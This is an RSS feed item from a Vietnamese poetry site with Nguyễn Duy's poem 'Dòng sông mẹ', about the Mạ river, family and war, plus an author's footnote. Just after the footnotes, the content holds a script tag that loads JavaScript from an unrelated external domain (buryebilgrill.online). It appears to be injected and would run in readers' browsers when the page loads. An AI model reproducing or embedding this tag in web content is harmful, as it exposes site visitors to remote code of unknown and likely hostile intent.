<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netBài thơ &quot;Dòng sông mẹ&quot; của nhà thơ Nguyễn Duy - Thica.net</title>
	<atom:link href="https://www.thica.net/2015/05/11/dong-song-me/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/2015/05/11/dong-song-me/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Dòng sông mẹ</title>
		<link>https://www.thica.net/2015/05/11/dong-song-me/</link>
		<comments>https://www.thica.net/2015/05/11/dong-song-me/#respond</comments>
		<pubDate>Mon, 11 May 2015 01:17:44 +0000</pubDate>
		<dc:creator><![CDATA[Nguyễn Duy]]></dc:creator>
				<category><![CDATA[Nguyễn Duy]]></category>
		<category><![CDATA[Quê hương]]></category>
		<category><![CDATA[Sông]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=14556</guid>
		<description><![CDATA[<p>[...]</p>
<p>Vụng Ông Lão nuốt người... vực Tôm sôi ùng ục<br />
chúa lêu lổng là anh chàng Từ Thức<br />
những bến sông chưa biết đã thuộc lòng<br />
Chợ Bồng... Cẩm Thuỷ... Ngã Ba Bông</p>
<p>Bà tôi lặn lội bên sông<br />
lả lá chè xanh xuống đò lên chợ<br />
mẹ tôi gồng gánh thay chồng<br />
da bánh mật mòn tre bánh tẻ</p>
<p>Cha tôi mải mê lang bạt kỳ hồ<br />
xây rồi bán nếp nhà không văn tự<br />
phủi tay về đẩy xe thồ<br />
ngán ngẩm những con đường mệt lử</p>
<p>Chú tôi nướng nửa đời biệt xứ<br />
nước mã hồi xin tí đất cắm dùi<br />
cóc chết ba năm quay đầu về núi<br />
khệnh khạng hát câu xin lỗi chân trời</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2015/05/11/dong-song-me/">Dòng sông mẹ</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>Kính tặng quê hương tôi</em></p><p>Từ dòng sông ấy<br />tôi đi<br />giọt nước từ nguồn ra biển cả</p><p>Mát suốt đời tôi gió nồm sông Mạ <sup><a href="https://www.thica.net/2015/05/11/dong-song-me/#footnote_0_14556" id="identifier_0_14556" class="footnote-link footnote-identifier-link" title="S&ocirc;ng Mạ: tiếng Mường, c&oacute; nghĩa l&agrave; s&ocirc;ng Mẹ. Người Ph&aacute;p lập bản đồ, phi&ecirc;n &acirc;m Mạ th&agrave;nh Ma, rồi ta lại phi&ecirc;n Ma th&agrave;nh M&atilde;, v&agrave; c&oacute; người t&aacute;n rằng: nước s&ocirc;ng ấy như v&oacute; ngựa phi (!) &ndash; Ch&uacute; th&iacute;ch của t&aacute;c giả trong tập Mẹ v&agrave; em &ndash; Nh&agrave; xuất bản Thanh H&oacute;a, 1987">1</a></sup><br />mẹ và em sinh thành ở đó<br />quê nhà và tình yêu của tôi</p><p>***</p><p>Điệp khúc sông uốn lượn trong lòng<br />bè mảng ào ào lao gành đá<br />tre nứa về xuôi măng lại mọc trên rừng</p><p>Người đi ngậm ngải tìm trầm<br />hiện hồn trong tiếng cọp gầm<br />lạnh lưng</p><p>Thời gian sông cuộn sóng không ngừng<br />bàn chân Giao Chỉ miết mòn mỏi<br />lóc cóc kiếp đá cuội</p><p>Gươm đao thuở nào khua rợn núi<br />tiếng reo hò dấy binh thác dội<br />nhạc ngựa về bên suối còn rung</p><p>Tiếp tiếp người xuôi ngược dòng sông<br />Thượng Lào&#8230; Sầm Nưa&#8230; Luông Pha Băng&#8230;<br />tráng ca Tây Tiến bi hùng lắm</p><p>Nước độc Hồi Xuân ma thiêng La Hán<br />đường Điện Biên gót chân sỏi sạn<br />đuốc dân công cháy rạn góc trời</p><p>***</p><p>Điệp khúc sông uốn lượn trong lòng<br />đò dọc đò ngang lênh đênh cõi nhớ<br />mùa vải đỏ tu hú về Châu Tử</p><p>Lách cách mõ thuyền chài khua cá<br />cô gái chèo xuồng bằng hai chân như múa</p><p>Đỉnh Chum Vàng trăng lu trăng tỏ<br />dô khoan dô huầy nghiêng ngả sông đêm<br />nhịp đập chân dậm dật sạp thuyền</p><p>Cầu ván ai nhún nhảy bến Lèn<br />mắt thuyền gỗ thao láo nhìn lũ nhóc<br />người hóp đò say ngất nghểu áo vắt vai<br />đầu sào đúc bánh dày góc ngực</p><p>Vụng Ông Lão nuốt người&#8230; vực Tôm sôi ùng ục<br />chúa lêu lổng là anh chàng Từ Thức<br />những bến sông chưa biết đã thuộc lòng<br />Chợ Bồng&#8230; Cẩm Thuỷ&#8230; Ngã Ba Bông</p><p>Bà tôi lặn lội bên sông<br />lả lá chè xanh xuống đò lên chợ<br />mẹ tôi gồng gánh thay chồng<br />da bánh mật mòn tre bánh tẻ</p><p>Cha tôi mải mê lang bạt kỳ hồ<br />xây rồi bán nếp nhà không văn tự<br />phủi tay về đẩy xe thồ<br />ngán ngẩm những con đường mệt lử</p><p>Chú tôi nướng nửa đời biệt xứ<br />nước mã hồi xin tí đất cắm dùi<br />cóc chết ba năm quay đầu về núi<br />khệnh khạng hát câu xin lỗi chân trời</p><p>***<br />Điệp khúc sông uốn lượn trong lòng<br />bảy tuổi tôi xúc tôm câu cá<br />mười tuổi bơi ngược dòng nước đổ<br />bêu nắng bờ này tắm mát bãi bờ kia</p><p>Mười bảy tuổi ngó trộm em rồi đó<br />lặn xuống dòm em tắm dưới vòm si</p><p>Mười tám tuổi ra đi<br />bước thứ nhất đặt bàn chân vào lửa<br />đường chiến tranh biết chỗ nào dừng</p><p>Dằng dặc đạn bom cày xới xóm làng<br />bến sông xưa đò đắm máu loang<br />cầu Hàm Rồng vặn vênh vỏ đỗ<br />những chuyến tàu vẫn ra bắc vào nam</p><p>Những lứa con sông Mạ vẫn lên đường<br />nhận mặt họ hàng ngoài mặt trận<br />ríu rít anh em ngã ba binh trạm</p><p>Đèn pin&#8230; bật lửa&#8230; chia quà tặng<br />bỏ thư thằng bạn gửi ra quê<br />&#8211; Lần này đi&#8230; có thể không về&#8230;</p><p>Chằng chịt ngách sông rối rắm mạng đường mòn<br />lại xe thồ Thanh Hoá&#8230; lại thuyền nan<br />lại thình thịch bàn chân bè toẽ ngón<br />lại dân công và thanh niên xung phong<br />lại nghĩa trang con gái chưa chồng</p><p>Đối cực cuộc đời bồi lở đôi bờ sông<br />sống và chết<br />tình yêu và chiến tranh</p><p>Tôi nhập cuộc giữa dòng nước xiết<br />dù tới đâu dù dạt bến nào<br />thấy hạt cát có cái gì bất diệt</p><p>***<br />Điệp khúc sông uốn lượn trong lòng<br />giọt nước trôi qua quãng đời tóc úa<br />mẹ mất rồi&#8230; may phúc vẫn còn em</p><p>Sum họp lớn nhiều bạn tôi không có<br />trang trọng từng phút giây vất vả<br />không tan nát qua thác và qua lửa</p><p>Lòng tĩnh hơn&#8230; gian khổ nhẹ nhàng đi<br />thương nhớ dòng sông chia làm hai nửa<br />nửa đắng mang theo còn nửa ngọt gửi về</p><p>***</p><p>Sông Mạ ơi<br />hạt cát dạt bến nào<br />điệp khúc sông trong lòng nguyên vẹn</p><p>Giọt nước có biệt tăm ngoài biển<br />ngày ngày<br />làm mây bay về nguồn&#8230;</p><p><em>Mùa thu 1986</em></p><ol class="footnotes"><li id="footnote_0_14556" class="footnote">Sông Mạ: tiếng Mường, có nghĩa là sông Mẹ. Người Pháp lập bản đồ, phiên âm Mạ thành Ma, rồi ta lại phiên Ma thành Mã, và có người tán rằng: nước sông ấy như vó ngựa phi (!) &#8211; Chú thích của tác giả trong tập <em>Mẹ và em</em> &#8211; Nhà xuất bản Thanh Hóa, 1987</li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2015/05/11/dong-song-me/">Dòng sông mẹ</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/05/11/dong-song-me/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">14556</post-id>	</item>
	</channel>
</rss>
